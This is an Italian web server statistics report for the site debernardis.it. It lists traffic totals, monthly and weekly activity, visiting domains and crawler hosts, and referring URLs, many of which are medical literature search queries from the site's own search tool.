Statistiche del Web Server per www.debernardis.it Statistiche del Web Server per www.debernardis.it(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca le statistiche riepilogative generali.
(I valori in parentesi si riferiscono a i 7 giorni fino al
08-Set-2010 10:06).
Richieste soddisfatte: 349.769 (4.857)
Media giornaliera di richieste soddisfatte: 710 (693)
Richieste di pagine soddisfatte: 53.654 (796)
Media giornaliera di richieste di pagine soddisfatte: 109 (113)
Richieste fallite: 48.080 (979)
Richieste reindirizzate: 4.641 (11)
File distinti richiesti: 17.755 (1.387)
Host distinti serviti: 45.506 (999)
Linee non valide nel log file: 64
Quantità totale di traffico: 263,41 gigabytes (3,27 gigabytes)
Traffico medio giornaliero: 548,24 megabytes (478,53 megabytes)
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca l'attività mensile.
Ogni unità (
) rappresenta 150
richieste di pagine o frazione.
mese: #rich: #pag.: --------: -----: -----: Mag 2009: 16786: 3274:Mese con maggior traffico: Giu 2009 (4.156 richieste di pagine).Giu 2009: 22291: 4156:
Lug 2009: 17497: 3764:
Nov 2009: 16444: 1952:
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca l'attività settimanale.
Ogni unità () rappresenta 30
richieste di pagine o frazione.
in. sett.: #rich: #pag.: ---------: -----: -----: 3-Mag-09: 2964: 534:Settimana con maggior traffico: quella che inizia il 5-Lug-09 (1.019 richieste di pagine).18-Ott-09: 6086: 807:
29-Nov-09: 4409: 694:
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca l'attività per ogni giorno della settimana, calcolata cumulativamente su tutte le settimane analizzate.
Ogni unità () rappresenta 200
richieste di pagine o frazione.
gio: #rich: #pag.: ---: -----: -----: Dom: 47467: 7470:
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca l'attività per ogni ora del giorno, calcolata cumulativamente su tutti i giorni analizzati.
Ogni unità () rappresenta 60
richieste di pagine o frazione.
hh: #rich: #pag.: --: -----: -----: 0: 11357: 1725:
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca il dominio, geografico o internazionale, di provenienza delle richieste.
Elenco dei domini, in ordine di traffico.
#rich: %byte: dominio
------: ------: -------
36846: 47,23%: .net (Network)
126801: 17,65%: .com (Commerciale)
44963: 10,54%: [indirizzo numerico non risolto]
83120: 5,46%: .it (Italia)
1984: 3,91%: .de (Germania)
338: 1,28%: .se (Svezia)
467: 1,11%: .ro (Romania)
607: 1,09%: .id (Indonesia)
945: 1,08%: .au (Australia)
3064: 0,97%: .mx (Messico)
696: 0,86%: .nl (Olanda)
1172: 0,85%: .edu (USA Educational)
313: 0,66%: .fi (Finlandia)
156: 0,64%: .hu (Ungheria)
113: 0,51%: .sk (Slovacchia)
858: 0,47%: .ch (Svizzera)
14790: 0,43%: .org (Organizzazioni Non-Profit)
333: 0,43%: .be (Belgio)
1173: 0,43%: .br (Brasile)
992: 0,34%: .uk (Regno Unito)
205: 0,32%: .ua (Ucraina)
4099: 0,28%: .ar (Argentina)
1348: 0,28%: .ca (Canada)
939: 0,26%: .in (India)
94: 0,25%: .hr (Croazia)
519: 0,24%: .at (Austria)
977: 0,23%: .jp (Giappone)
193: 0,22%: .lu (Lussemburgo)
1195: 0,22%: .cz (Repubblica Ceca)
637: 0,22%: .pl (Polonia)
396: 0,22%: .arpa (Arpanet)
243: 0,21%: .gr (Grecia)
27: 0,21%: .jo (Giordania)
25: 0,21%: .ni (Nicaragua)
34: 0,21%: .ee (Estonia)
8151: 0,21%: .ru (Russia)
684: 0,10%: .fr (Francia)
28: 0,02%: .ge (Georgia)
338: 0,02%: .ie (Irlanda)
2751: 0,01%: [dominio sconosciuto]
121: 0,01%: .bg (Bulgaria)
719: 0,01%: .cl (Cile)
498: 0,01%: .es (Spagna)
640: 0,01%: .co (Colombia)
198: 0,01%: .lt (Lituania)
270: : .uy (Uruguay)
547: : .lv (Latvia)
49: : .bo (Bolivia)
321: : .tr (Turchia)
185: : .pe (Perù)
78: : .ir (Iran)
161: : .do (Repubblica Dominicana)
341: : .pt (Portogallo)
111: : .gt (Guatemala)
272: : .dk (Danimarca)
127: : .nz (Nuova Zelanda)
104: : .sa (Arabia Saudita)
105: : .eg (Egitto)
440: : .cn (Cina)
61: : .th (Thailandia)
76: : .py (Paraguay)
135: : .no (Norvegia)
74: : .mil (USA Militare)
22: : .ma (Marocco)
286: : .sg (Singapore)
101: : .us (Stati Uniti)
117: : .gov (USA Governativi)
108: : .il (Israele)
47: : .my (Malesia)
149: : .tw (Taiwan)
23: : .vn (Vietnam)
88: : .za (Sudafrica)
26: : .cr (Costarica)
50: : .sc (Seychelles)
43: : .hk (Hong Kong)
18: : .gh (Ghana)
23: : .ve (Venezuela)
12: : .is (Islanda)
26: : .ph (Filippine)
12: : [dominio non fornito]
11: : .int (Internazionale)
31: : .sm (San Marino)
16: : .ec (Ecuador)
43: : .kr (Corea del Sud)
22: : .md (Moldavia)
16: : .si (Slovenia)
45: : .pk (Pakistan)
7: : .bn (Brunei)
7: : .tt (Trinidad e Tobago)
5: : .hn (Honduras)
5: : .ad (Andorra)
5: : .np (Nepal)
5: : .cu (Cuba)
5: : .ke (Kenya)
4: : .mg (Madagascar)
1: : .am (Armenia)
9: : .cy (Cipro)
7: : .uz (Uzbekistan)
8: : .bd (Bangladesh)
2: : .sv (El Salvador)
15: : .by (Bielorussia)
6: : .su (Ex Unione Sovietica)
2: : .ba (Bosnia-Erzegovina)
6: : .mk (Macedonia)
2: : .mt (Malta)
3: : .mn (Mongolia)
1: : .pa (Panama)
1: : .al (Albania)
3: : .fj (Isole Figi)
7: : .lb (Libano)
2: : .jm (Giamaica)
3: : .bw (Botswana)
2: : .cx (Christmas Island)
4: : .yu (Jugoslavia)
13: : .ly (Libia)
2: : .cc (Isole Cocos (Keeling))
5: : .nu (Niue)
2: : .tz (Tanzania)
6: : .ae (Emirati Arabi Uniti)
6: : .sy (Siria)
2: : .mm (Myanmar)
2: : .tv (Tuvalu)
1: : .om (Oman)
5: : .ws (Samoa)
3: : .gm (Gambia)
2: : .ng (Nigeria)
1: : .ci (Costa d'Avorio)
1: : .kw (Kuwait)
1: : .nc (Nuova Caledonia (Francese))
3: : .mc (Monaco)
4: : .qa (Qatar)
1: : .kz (Kazakhistan)
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca le organizzazioni dai cui computer sono stati richiesti files.
Elenco delle prime 20 organizzazioni in ordine di numero di richieste, in ordine di numero di richieste.
#rich: %byte: organizzazione ------: ------: -------------- 41400: 0,95%: googlebot.com 38652: 0,49%: msn.com 32994: 0,03%: debernardis.it 27837: 2,67%: telecomitalia.it 19836: 23,72%: yahoo.net 18777: 0,15%: baidu.com 14172: 0,21%: dotnetdotcom.org 7548: 0,17%: yandex.ru 7006: 0,36%: fastwebnet.it 6038: 0,08%: cuil.com 3917: 0,01%: iol.it 3555: 0,24%: 123 3079: 0,23%: [dominio sconosciuto] 2756: 0,03%: 2dayhost.com 2484: 0,26%: teletu.it 2309: 0,75%: prod-infinitum.com.mx 2180: 0,75%: tiscali.it 1730: 0,23%: 94 1630: 0,01%: altushost.com 1576: 2,87%: comcast.net 110293: 65,78%: [non elencate: 6.364 organizzazioni]
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca i computer che hanno richiesto files.
Elenco dei primi 50 host in ordine di numero di richieste, in ordine alfabetico.
#rich: %byte: host ------: ------: ---- 708: 0,01%: 119.63.193.55 1090: : 121.23.50.184 1826: 0,01%: 123.125.64.38 554: : 146.48.126.233 1899: : hn.kd.ny.adsl 1278: 0,01%: sr341.2dayhost.com 1478: 0,02%: st-21-102-42-195.2dayhost.com 1280: 0,01%: unknown.altushost.com 2051: 0,02%: baiduspider-220-181-7-97.crawl.baidu.com 5778: 0,08%: crawl-1c.cuil.com 933: 0,04%: crawl-66-249-65-19.googlebot.com 738: 0,01%: crawl-66-249-65-56.googlebot.com 2430: 0,07%: crawl-66-249-67-121.googlebot.com 764: 0,02%: crawl-66-249-67-39.googlebot.com 1199: 0,01%: crawl-66-249-67-48.googlebot.com 634: 0,02%: crawl-66-249-67-57.googlebot.com 2211: 0,07%: crawl-66-249-67-65.googlebot.com 1143: 0,02%: crawl-66-249-67-97.googlebot.com 602: 0,03%: crawl-66-249-68-66.googlebot.com 1050: 0,01%: crawl-66-249-68-90.googlebot.com 675: 0,02%: crawl-66-249-70-138.googlebot.com 2501: 0,02%: crawl-66-249-71-105.googlebot.com 4184: 0,03%: crawl-66-249-71-108.googlebot.com 4990: 0,19%: crawl-66-249-71-116.googlebot.com 712: 0,04%: crawl-66-249-71-2.googlebot.com 826: 0,04%: crawl-66-249-71-5.googlebot.com 642: 0,02%: crawl-66-249-71-72.googlebot.com 1178: 0,01%: crawl-66-249-71-79.googlebot.com 3134: 0,03%: crawl-66-249-71-82.googlebot.com 953: 0,01%: bot2.linguee.com 810: : emulator.tagtag.com 1137: : wapzy.com 528: : cr01.wap.search.re3.yahoo.com 32994: 0,03%: debernardis.it 824: : ganimede.iol.it 851: : tenco7.iol.it 1228: 0,02%: hosted-by.ecatel.net 660: 0,03%: b3090816.crawl.yahoo.net 2476: 0,61%: b3090860.crawl.yahoo.net 890: 1,14%: b3091053.crawl.yahoo.net 717: 0,25%: b3091127.crawl.yahoo.net 3299: 6,90%: b3091137.crawl.yahoo.net 1892: 5,13%: b3091160.crawl.yahoo.net 2889: 5,47%: b3091249.crawl.yahoo.net 732: 2,44%: llf320078.crawl.yahoo.net 552: 0,05%: llf531063.crawl.yahoo.net 2353: 0,05%: crawl10.dotnetdotcom.org 11819: 0,16%: crawl3.dotnetdotcom.org 6422: 0,16%: spider11.yandex.ru 572: : sticker00.yandex.ru 226683: 76,69%: [non elencati: 45.456 host]
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca i referenti (da quali pagine sono stati inviati i visitatori, oppure le pagine che includono immagini di questo sito).
Elenco delle URL di provenienza con almeno 20 richieste, in ordine di numero di richieste.
#rich: URL
-----: ---
19354: http://www.debernardis.it/diocervello.html
8190: http://www.debernardis.it/miniature.html
8180: http://new.taringa.net/posts/downloads/1039262/%C2%BFTen%C3%A9s-ganas-de-empezar-a-usar-Linux-[Megapost].html
5928: http://www.debernardis.it/blog/
5474: http://www.debernardis.it/medasq.php
544: http://www.debernardis.it/medasq.php?z=Forum+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
421: http://www.debernardis.it/medasq.php?z=Environ+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
147: http://www.debernardis.it/medasq.php?z=J+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
80: http://www.debernardis.it/medasq.php?z=Hepatology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
74: http://www.debernardis.it/medasq.php?z=Minerva+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
64: http://www.debernardis.it/medasq.php?z=Forum+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals+(200+ok)+ACCEPTED
57: http://www.debernardis.it/medasq.php?z=Sports+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
56: http://www.debernardis.it/medasq.php?z=Cell+Mol+Biol+(Noisy-le-grand)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
55: http://www.debernardis.it/medasq.php?z=Vet%2520J&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
54: http://www.debernardis.it/medasq.php?z=Spine+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: http://www.debernardis.it/medasq.php?z=(fatty+acids%252C+omega+3+%255Bmesh%255D+%257C+omega-3+%255Ball%255D+%257C+eicosapentaen*+%255Ball%255D+%257C+docosahexaen*+%255Ball%255D)+%2526++(hyperlipidemia+%255Bmesh%255D+%257C+hyperlipid*+%255Ball%255D+%257C+hyperlipem*+%255Ball%255D+%257C+hyperlipaem*+%255Ball%255D+%257C+hypercholester*+%255Ball%255D+%257C+hypertriglycerid*+%255Ball%255D)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
46: http://www.debernardis.it/medasq.php?z=JAMA&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: http://www.debernardis.it/medasq.php?z=(fatty+acids%252C+omega+3+%255Bmesh%255D+%257C+omega-3+%255Ball%255D+%257C+eicosapentaen*+%255Ball%255D+%257C+docosahexaen*+%255Ball%255D)+%2526+(nervous+system+diseases+%255Bmesh%255D+%257C+nervous+system+diseases+%255Ball%255D)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
30: http://www.debernardis.it/medasq.php?z=Horm+Metab+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: http://www.debernardis.it/medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26++(hyperlipidemia+[mesh]+|+hyperlipid*+[all]+|+hyperlipem*+[all]+|+hyperlipaem*+[all]+|+hypercholester*+[all]+|+hypertriglycerid*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
29: http://www.debernardis.it/medasq.php?z=&abstract=1&quanti=20&highlight=1&daevidenziare=&dovesiamo=0&azione=Journals
28: http://www.debernardis.it/medasq.php?z=S+Afr+Med+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: http://www.debernardis.it/medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(nervous+system+diseases+[mesh]+|+nervous+system+diseases+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
25: http://www.debernardis.it/medasq.php?z=Drug+Discov+Today&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: http://www.debernardis.it/medasq.php?z=(arch+otolaryngol+head+neck+surg+[ta]+OR+ann+otol+rhinol+laryngol+[ta]+OR+acta+otolaryngol+stockh+[ta]+OR+clin+otolaryngol+[ta]+OR+orl+j+otorhinolaryngol+relat+spec+[ta]+OR+j+laryngol+otol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
24: http://www.debernardis.it/medasq.php?z=sodium+oxybate+[mesh]+and+alcohol-related+disorders+[mesh]&abstract=0&quanti=50&highlight=2&daevidenziare=oxybate+alcohol&dovesiamo=0&azione=Show
23: http://www.debernardis.it/medasq.php?z=J%252bClin%252bEndocrinol%252bMetab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: http://www.debernardis.it/medasq.php?z=Can+Fam+Physician&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: http://www.debernardis.it/medasq.php?z=J+Anim+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: http://www.debernardis.it/medasq.php?z=cocaine+neuroadaptation&abstract=0&quanti=20&highlight=2&daevidenziare=neuroadaptation&dovesiamo=0&azione=Show
21: http://www.debernardis.it/medasq.php?z=Anesthesiology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
20: http://www.debernardis.it/medasq.php?z=&abstract=1&quanti=20&highlight=1&daevidenziare=&dovesiamo=0&azione=Show
19: http://www.debernardis.it/medasq.php?z=(arthritis%2520rheum%2520%255Bta%255D%2520OR%2520br%2520j%2520rheumatol%2520%255Bta%255D%2520)%2520AND%2520(%2522clinical%2520trials%2522%255BMeSH%2520Terms%255D%2520OR%2520%2522clinical%2520trial%2522%255BText%2520Word%255D%2520OR%2520%2522meta%2520analysis%2522%255BMeSH%2520Terms%255D%25
19: http://www.debernardis.it/medasq.php?z=(j+am+geriatr+soc+%255Bta%255D+OR+age+ageing+%255Bta%255D+)+AND+(%2522clinical+trials%2522%255BMeSH+Terms%255D+OR+%2522clinical+trial%2522%255BText+Word%255D+OR+%2522meta+analysis%2522%255BMeSH+Terms%255D+OR+%2522meta+analysis%2522%255BText+Word%255D+OR+%2522guideline%2522%255BAll+Fields%255D+OR+%2522consensus+development+conference%2522%255BAll+Fields%255D+OR+systematic+%255Bsb%255D)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
17: http://www.debernardis.it/medasq.php?z=Pharmacol+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: http://www.debernardis.it/medasq.php?z=J+Obstet+Gynaecol+Can&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: http://www.debernardis.it/medasq.php?z=Phys+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: http://www.debernardis.it/medasq.php?z=%2528br+j+gen+pract+%255Bta%255D+OR+j+am+board+fam+pract+%255Bta%255D+OR+arch+fam+med+%255Bta%255D+OR+can+fam+physician+%255Bta%255D+OR+j+fam+pract+%255Bta%255D+%2529+AND+%2528%2522clinical+trials%2522%255BMeSH+Terms%255D+OR+%2522clinical+trial%2522%255BText+Word%255D+OR+%2522meta+analysis%2522%255BMeSH+Terms%255D+OR+%2522meta+analysis%2522%255BText+Word%255D+OR+%2522guideline%2522%255BAll+Fields%255D+OR+%2522consensus+development+conference%2522%255BAll+Fields%255D+OR+systematic+%255Bsb%255D%2529&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
14: http://www.debernardis.it/medasq.php?z=Recenti+Prog+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: http://www.debernardis.it/medasq.php?z=Ann+N+Y+Acad+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: http://www.debernardis.it/medasq.php?z=(arthritis%2520rheum%2520%255Bta%255D%2520OR%2520br%2520j%2520rheumatol%2520%255Bta%255D%2520)%2520AND%2520(%2522clinical%2520trials%2522%255BMeSH%2520Terms%255D%2520OR%2520%2522clinical%2520trial%2522%255BText%2520Word%255D%2520OR%2520%2522meta%2520analysis%2522%255BMeSH%2520Terms%255D%2520OR%2520%2522meta%2520analysis%2522%255BText%2520Word%255D%2520OR%2520%2522guideline%2522%255BAll%2520Fields%255D%2520OR%2520%2522consensus%2520development%2520conference%2522%255BAll%2520Fields%255D%2520OR%2520systematic%2520%255Bsb%255D)&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
13: http://www.debernardis.it/medasq.php?z=Urology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: http://www.debernardis.it/medasq.php?z=cocaine neuroadaptation&abstract=0&quanti=20&highlight=2&dovesiamo=20&daevidenziare=neuroadaptation&azione=Show&free=
13: http://www.debernardis.it/medasq.php?z=J%2520Physiol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
13: http://www.debernardis.it/medasq.php?z=(arch+otolaryngol+head+neck+surg+[ta]+OR+ann+otol+rhinol+laryngol+[ta]+OR+acta+otolaryngol+stockh+[ta]+OR+clin+otolaryngol+[ta]+OR+orl+j+otorhinolaryngol+relat+spec+[ta]+OR+j+laryngol+otol+[ta]+)+AND+("clini al+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
12: http://www.debernardis.it/medasq.php?z=(j+androl+[ta]+OR+int+j+androl+[ta]+OR+andrologia+[ta]+OR+arch+androl+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
11: http://www.debernardis.it/medasq.php?z=S%252bAfr%252bMed%252bJ&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: http://www.debernardis.it/medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(arthritis+[mesh]+|+arthrit*+[all]+|+osteoarthrit*+[all]+|+arthros*+[all]+|+osteoarthros*+[all]+)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
11: http://www.debernardis.it/medasq.php?z=Nature&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
10: http://www.debernardis.it/medasq.php?z=(fatty+acids%252C+omega+3+%255Bmesh%255D+%257C+omega-3+%255Ball%255D+%257C+eicosapentaen*+%255Ball%255D+%257C+docosahexaen*+%255Ball%255D)+&++(hyperlipidemia+%255Bmesh%255D+%257C+hyperlipid*+%255Ball%255D+%257C+hyperlipem*+%255Ball%255D+%257C+hyperlipaem*+%255Ball%255D+%257C+hypercholester*+%255Ball%255D+%257C+hypertriglycerid*+%255Ball%255D)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
10: http://www.debernardis.it/medasq.php?z=Clin+Ter&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: http://www.debernardis.it/medasq.php?z=Nutrition&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: http://www.debernardis.it/medasq.php?z=J+Fr+Ophtalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
5404: http://www.debernardis.it/
4643: http://www.google.it/search
26: http://www.google.it/search?hl=it&source=hp&q=suboxone&meta=&aq=f&oq=
25: http://www.google.it/search?client=firefox-a&rls=org.mozilla:it:official&channel=s&hl=it&source=hp&q=suboxone&meta=&btnG=Cerca+con+Google
22: http://www.google.it/search?q=suboxone&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:it:official&client=firefox-a
19: http://www.google.it/search?hl=it&source=hp&q=de+bernardis&meta=&aq=f&oq=
16: http://www.google.it/search?hl=it&q=foto+di+mia+moglie&start=20&sa=N
16: http://www.google.it/search?hl=it&q=foto+di+mia+moglie&start=10&sa=N
16: http://www.google.it/search?hl=it&source=hp&q=suboxone&meta=&aq=1&oq=subo
15: http://www.google.it/search?q=de+bernardis&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:it:official&client=firefox-a
14: http://www.google.it/search?hl=it&source=hp&q=suboxone&meta=&aq=2&oq=subo
10: http://www.google.it/search?hl=it&source=hp&q=suboxone+farmaco&meta=&aq=0&oq=suboxone
10: http://www.google.it/search?q=foto+di+mia+moglie&hl=it&start=20&sa=N
10: http://www.google.it/search?q=michelangelo+cervello&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:it:official&client=firefox-a
4240: http://www.taringa.net/posts/downloads/1039262/%C2%BFTen%C3%A9s-ganas-de-empezar-a-usar-Linux-[Megapost].html
3074: http://www.google.com/search
96: http://www.google.com/search?q=medicine+and+science+in+sports+and+exercise+abbreviation&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a
11: http://www.google.com/search?q=advancements+in+medicine&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a
10: http://www.google.com/search?q=Horm+Metab+Res&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a
10: http://www.google.com/search?hl=en&q=advancements+in+medicine&aq=f&oq=&aqi=g2
2712: http://www.murga-linux.com/puppy/viewtopic.php
1897: http://www.murga-linux.com/puppy/viewtopic.php?t=10779
256: http://www.murga-linux.com/puppy/viewtopic.php?t=25009
74: http://www.murga-linux.com/puppy/viewtopic.php?t=10779&sid=7d40a00c4e6af4ed861fc437572c57c9
48: http://www.murga-linux.com/puppy/viewtopic.php?search_id=844369481&t=10779
28: http://www.murga-linux.com/puppy/viewtopic.php?t=25009&start=75
14: http://www.murga-linux.com/puppy/viewtopic.php?p=67249&sid=432fbabf7c20d446aef2aba976ba5c2e
13: http://www.murga-linux.com/puppy/viewtopic.php?p=241678
12: http://www.murga-linux.com/puppy/viewtopic.php?p=68077&sid=f1c38f19337498afebceca9125bd3a1f
1963: http://www.bing.com/search
10: http://www.bing.com/search?q="Fish oil" Hyperlipidemia&first=21&FORM=PERE1
1857: http://debernardis.it/
1517: http://images.google.it/imgres
23: http://images.google.it/imgres?imgurl=http://www.debernardis.it/blog/agnone3.jpg&imgrefurl=http://www.debernardis.it/blog/&usg=__9xqE2qI-YzdUM08A-ThGOei6R8w=&h=360&w=480&sz=43&hl=it&start=1&itbs=1&tbnid=v_jrzcJ1kIUHxM:&tbnh=97&tbnw=129&prev=/images%3Fq%3Dmare+e+sole%26hl%3Dit%26gbv%3D2%26tbs%3Disch:1
18: http://images.google.it/imgres?imgurl=http://www.debernardis.it/blog/agnone3.jpg&imgrefurl=http://www.debernardis.it/blog/&usg=__9xqE2qI-YzdUM08A-ThGOei6R8w=&h=360&w=480&sz=43&hl=it&start=2&tbnid=v_jrzcJ1kIUHxM:&tbnh=97&tbnw=129&prev=/images%3Fq%3Dagnone+bagni%26gbv%3D2%26hl%3Dit
